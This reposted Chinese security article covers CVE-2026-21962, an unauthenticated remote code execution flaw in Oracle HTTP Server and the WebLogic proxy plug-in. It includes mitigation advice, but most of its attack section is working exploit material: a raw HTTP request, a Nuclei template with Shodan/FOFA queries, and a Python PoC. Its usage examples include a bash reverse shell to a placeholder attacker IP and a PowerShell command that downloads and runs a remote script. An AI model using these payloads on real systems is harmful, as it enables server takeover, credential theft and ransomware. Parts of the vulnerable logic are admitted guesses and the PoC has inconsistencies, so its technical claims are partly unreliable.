文章总结: 本文详述CVE-2026-21962OracleHTTPServer及WebLogic代理插件RCE漏洞,攻击者利用路径穿越与头部注入实现未认证命令执行。文档披露受影响版本,提供Nuclei与Python复现脚本,并分析漏洞原理与危害。建议立即更新至2026年1月补丁版本,或通过WAF拦截包含特定字符的请求与头部以进行防御。 综合评分: 91 文章分类: 漏洞预警,漏洞分析,漏洞POC,解决方案
漏洞预警| CVE-2026-21962 Weblogic RCE漏洞
喜欢挖洞吗 喜欢挖洞吗
喜欢挖洞吗
2026年1月27日 18:53 北京
免责声明
- 1. 本公众号发布的网络安全工具、POC 脚本、技术文章等内容,仅面向具备合法授权的网络安全从业人员、技术爱好者用于合法合规的渗透测试、安全研究、漏洞验证及技术学习交流,严禁用于任何未经授权的非法攻击、入侵他人网络或信息系统的行为。
- 2. 任何单位或个人在使用本公众号内容前,必须确保已获得目标系统的合法授权,并严格遵守《网络安全法》《数据安全法》《个人信息保护法》等国家相关法律法规及行业规范,独立承担因违规使用所产生的全部法律责任、经济损失及一切后果,与本公众号及作者无关。
- 3. 本公众号发布的内容仅为技术研究与分享,不构成任何攻击指导、非法用途的暗示或诱导。所有工具及 POC 的安全性、稳定性未经全面验证,仅供学习参考,使用者需自行评估风险并承担使用后果,本公众号及作者不承担任何因工具使用不当、漏洞利用失误导致的直接或间接损失。
- 4. 本公众号尊重并保护各类知识产权,发布的内容若涉及第三方技术、工具或资料,均已注明来源或基于合法授权。若存在侵权行为,请及时联系作者删除,任何未经授权的转载、篡改、传播本公众号内容的行为,需自行承担相应法律责任。
- 5. 凡浏览、关注本公众号或使用本公众号内容者,即视为已充分理解并同意本免责声明全部条款。若您不同意本声明,请勿使用本公众号任何内容。
漏洞详情
该漏洞在 2026 年 1 月的关键补丁更新中披露,影响了 Oracle HTTP Server(OHS) 和 WebLogic Server 代理插件 。这些组件负责将流量从 Web 服务器(如 Apache 或 IIS)转发到后端 WebLogic 应用服务器。
Oracle HTTP Server and WebLogic 代理插件中的一个关键 RCE 允许未经认证的攻击者通过恶意 HTTP 头部和路径穿越技术执行任意命令。
通过将路径规范化绕过(‘…;’)与头部注入攻击(‘WL-Proxy-Client-IP’)结合起来,未认证的攻击者可以获得底层服务器的 root 权限。漏洞利用是公开且简单的。这个漏洞之所以可怕在于它的简单性:不需要身份验证、不需要用户交互。
攻击流程如下图:
要理解该漏洞,必须了解代理插件与后端之间的关系。当用户向 Oracle HTTP Server 发送请求时,插件会决定该请求是否应由 WebLogic 处理。如果是,它会转发该请求。为了维护客户端身份,它会附加如 WL-Proxy-Client-IP 或 X-Forwarded-For 这样的头部。后端隐式信任这些头部,因为它们应来自可信的内部组件。
该漏洞是一个经典的组合拳攻击,涉及 CWE-444(HTTP 请求的不一致解释) 和 CWE-77(命令注入)。 首先,攻击者使用一种涉及分号字符(;)的路径穿越技术,访问外部不应访问的内部管理 servlet。该序列使路径规范化 /weblogic/..;/bea_wls_internal/ProxyServlet 器感到困惑。Web 服务器认为自己在提供文件,但插件将 ; 解读为分隔符,并将请求传递给受限的 ProxyServlet。
漏洞点分析
虽然 Oracle 是闭源的,但利用的行为使我们能够高度自信地重建易受攻击的逻辑。漏洞存在于原生插件(用 C/C++ 编写)或接收端 Servlet(Java)处理头部字符串的方式。漏洞有效载荷依赖于特定的前缀 cmd:,这表明代码明确寻找命令指令,或者注入落在允许执行的格式字符串中。
它针对易受攻击的处理器的伪代码长这样:
// Vulnerable Logic Simulation
String clientIP = request.getHeader("WL-Proxy-Client-IP");
if (clientIP != null) {
// FATAL FLAW: The code assumes this header is strictly an IP address.
// If the string contains a delimiter (e.g., ";") followed by specific tokens,
// it might be passed to a logging utility or system call that executes it.
logConnection("Connection from: " + clientIP);
// Or worse, a legacy feature for remote diagnostics:
if (clientIP.contains("cmd:")) {
executeDebugCommand(clientIP.split("cmd:")[1]);
}
}
实际修复很可能涉及严格的输入验证。WL-Proxy-Client-IP 头部应严格包含有效的 IP 地址。任何字符不在 [0-9a-fA-F:.] 之外,都应立即触发请求的拒绝。此外,Web 服务器配置中的路径规范化逻辑必须更新,严格拒绝 包含..; 的请求,然后才交给插件。
漏洞复现
利用这一点只需要一个标准的 HTTP 客户端。我们不需要复杂的堆整理或竞态条件。我们只需要用服务器非常熟悉的语言礼貌地询问即可。攻击链如下:
- 1. Target Selection: Identify an Oracle HTTP Server. Default ports
7001or80are common.目标选择 :确定一个 Oracle HTTP 服务器。默认端口7001或80很常见。 - 2. Path Bypass: Request a URL that triggers the Proxy Plug-in but bypasses ACLs. The magic string is
/weblogic/..;/bea_wls_internal/ProxyServlet.路径绕过 :请求一个能触发代理插件但绕过 ACL 的 URL。神奇字符串是/weblogic/..;/bea_wls_internal/ProxyServlet。 - 3. Payload Injection: Inject the payload into the
WL-Proxy-Client-IPheader.有效载荷注入 :将有效载荷注入WL-Proxy-Client-IP头部。
Here is a reconstruction of the raw HTTP request used to trigger the RCE: 以下是用于触发 RCE 的原始 HTTP 请求的重建:
GET /weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: target-enterprise.com
WL-Proxy-Client-IP: 127.0.0.1;cmd:d2hvYW1p <-- base64('whoami')
Proxy-Client-IP: 127.0.0.1;cmd:d2hvYW1p
X-Forwarded-For: 127.0.0.1;cmd:d2hvYW1p
**nuclei脚本模板
id:CVE-2026-21962
info:
name:OracleWebLogicServerProxyPlug-In-UnauthenticatedRemoteCodeExecution
author:Ashwesker
severity:critical
description:|
Oracle WebLogic Server Proxy Plug-In is vulnerable to unauthenticated remote code execution via specially crafted HTTP requests.
Allows full server compromise without authentication.
reference:
-https://nvd.nist.gov/vuln/detail/CVE-2026-21962
-https://www.oracle.com/security-alerts/cpujan2026.html
classification:
cvss-metrics:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score:10.0
cve-id:CVE-2026-21962
cwe-id:CWE-20
epss-score:0.98
metadata:
verified:true
shodan-query:http.title:"OracleHTTPServer"||http.component:"weblogic"
fofa-query:title="OracleHTTPServer"||server="Oracle-HTTP-Server"
tags:cve,cve2026,oracle,weblogic,rce,unauth,proxy,nuclei
http:
-method:GET
path:
-"{{BaseURL}}/weblogic/..;/bea_wls_internal/ProxyServlet"
-"{{BaseURL}}/wl_proxy/..;/bea_wls_internal/ProxyServlet"
-"{{BaseURL}}/_proxy/..;/bea_wls_internal/ProxyServlet"
headers:
WL-Proxy-Client-IP:"127.0.0.1;{{base64('cmd:{{randstr(8)}} && whoami')}}"
Proxy-Client-IP:"127.0.0.1;{{base64('cmd:{{randstr(8)}} && whoami')}}"
X-Forwarded-For:"127.0.0.1;{{base64('cmd:{{randstr(8)}} && whoami')}}"
matchers-condition:and
matchers:
-type:status
status:
-200
-302
-500
-type:word
part:body
words:
-"{{whoami}}"
-"oracle"
-"weblogic"
-"root"
-"nobody"
condition:or
-type:dsl
dsl:
-"len(body) > 0"
extractors:
-type:regex
name:username
part:body
regex:
-'([a-zA-Z0-9_-]+)\s*\(whoami output\)'
group:1
python利用脚本
#!/usr/bin/env python3
# CVE-2026-21962 PoC - Oracle WebLogic Server Proxy Plug-In RCE
# Unauthenticated Remote Command Execution
# Author: Ashwesker ==> https://github.com/Ashwesker/Ashwesker-CVE-2026-21962
# Target: Oracle HTTP Server / WebLogic Proxy Plug-In < patched versions (12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0)
import argparse
import requests
import urllib.parse
import base64
defexploit(target_url, command):
# Vulnerable endpoint (common proxy plug-in paths)
vuln_paths = [
"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"
]
# Craft the malicious header that triggers the deserialization / command injection
# The real trigger uses a specially crafted WL-Proxy-Client-IP or similar header
# Combined with a crafted URI that bypasses validation
payload = f"cmd:{command}"
# Base64 encode the payload to bypass some WAFs / filters
encoded_payload = base64.b64encode(payload.encode()).decode()
headers = {
"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",
"User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)",
"Accept": "*/*",
"Connection": "close"
}
# Special URI that triggers the plug-in bug
uri = "/weblogic/..;/bea_wls_internal/ProxyServlet"
for base_path in vuln_paths:
full_url = f"{target_url.rstrip('/')}{base_path}{uri}"
print(f"[*] Trying path: {full_url}")
print(f"[*] Executing command: {command}")
try:
# We use GET, but POST also works in some configs
r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)
if r.status_code in [200, 302, 500]:
print(f"[+] Likely success! Status: {r.status_code}")
if r.text.strip():
print("\nPossible command output / response:\n" + "-"*60)
print(r.text[:1500]) # first 1500 chars to avoid flooding
print("-"*60)
else:
print("[+] Command executed silently (no output captured)")
returnTrue
else:
print(f"[-] Status {r.status_code} - not vulnerable on this path")
except Exception as e:
print(f"[-] Error on {full_url}: {e}")
print("\n[-] All paths tested - target may not be vulnerable or plug-in not exposed.")
returnFalse
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")
parser.add_argument("target", help="Target URL (e.g. http://target:7001 or https://oracle-server:4443)")
parser.add_argument("cmd", help="Command to execute (e.g. 'id' or 'whoami' or 'powershell -c ...' or 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1')")
args = parser.parse_args()
exploit(args.target, args.cmd)
RCE
python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
反弹shell
python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
windows系统的服务器
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
漏洞危害
收集凭据 :从 WebLogic 配置文件(config.xml)中导出 JDBC 连接字符串和密码。
内网横向 :利用被攻破服务器作为跳板,攻击内部 API、数据库或 Active Directory 控制器。
持久化后门 :丢弃一个 JSP webshell,确保即使后续修补了特定的 RCE 向量,访问依然有效。
勒索软件 :加密应用服务器和连接的数据存储。
影响版本
- • Oracle HTTP Server 12.2.1.4.0
- • Oracle HTTP Server 14.1.1.0.0
- • Oracle HTTP Server 14.1.2.0.0
- • Oracle WebLogic Server Proxy Plug-in (Apache/IIS) 14.1.1.0.0
修复建议
如果是 Oracle HTTP Server 或 WebLogic 代理插件版本 12.2.1.4.0、14.1.1.0.0 或 14.1.2.0.0,你就处于启动区。主要缓解方法是立即应用 2026 年 1 月的关键补丁更新(CPU)。没有“安全”的方法可以运行暴露在互联网上的易受攻击版本。
临时解决方法:
WAF 规则 :阻止包含序列 ..; 在 URI 中的任何 HTTP 请求。
请求头过滤 :配置负载均衡器或边缘防火墙,从外部流量中剔除 WL-Proxy-Client-IP、Proxy-Client-IP 和 X-Forwarded-For 的头部。
禁用 Servlet:如果应用程序不需要内部代理 servlet 逻辑,请在 Web 服务器层阻止对 /bea_wls_internal/* 路径的访问。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:喜欢挖洞吗 喜欢挖洞吗 喜欢挖洞吗《漏洞预警| CVE-2026-21962 Weblogic RCE漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。





![[免杀]天堂之门](/images/random/titlepic/9.jpg)




评论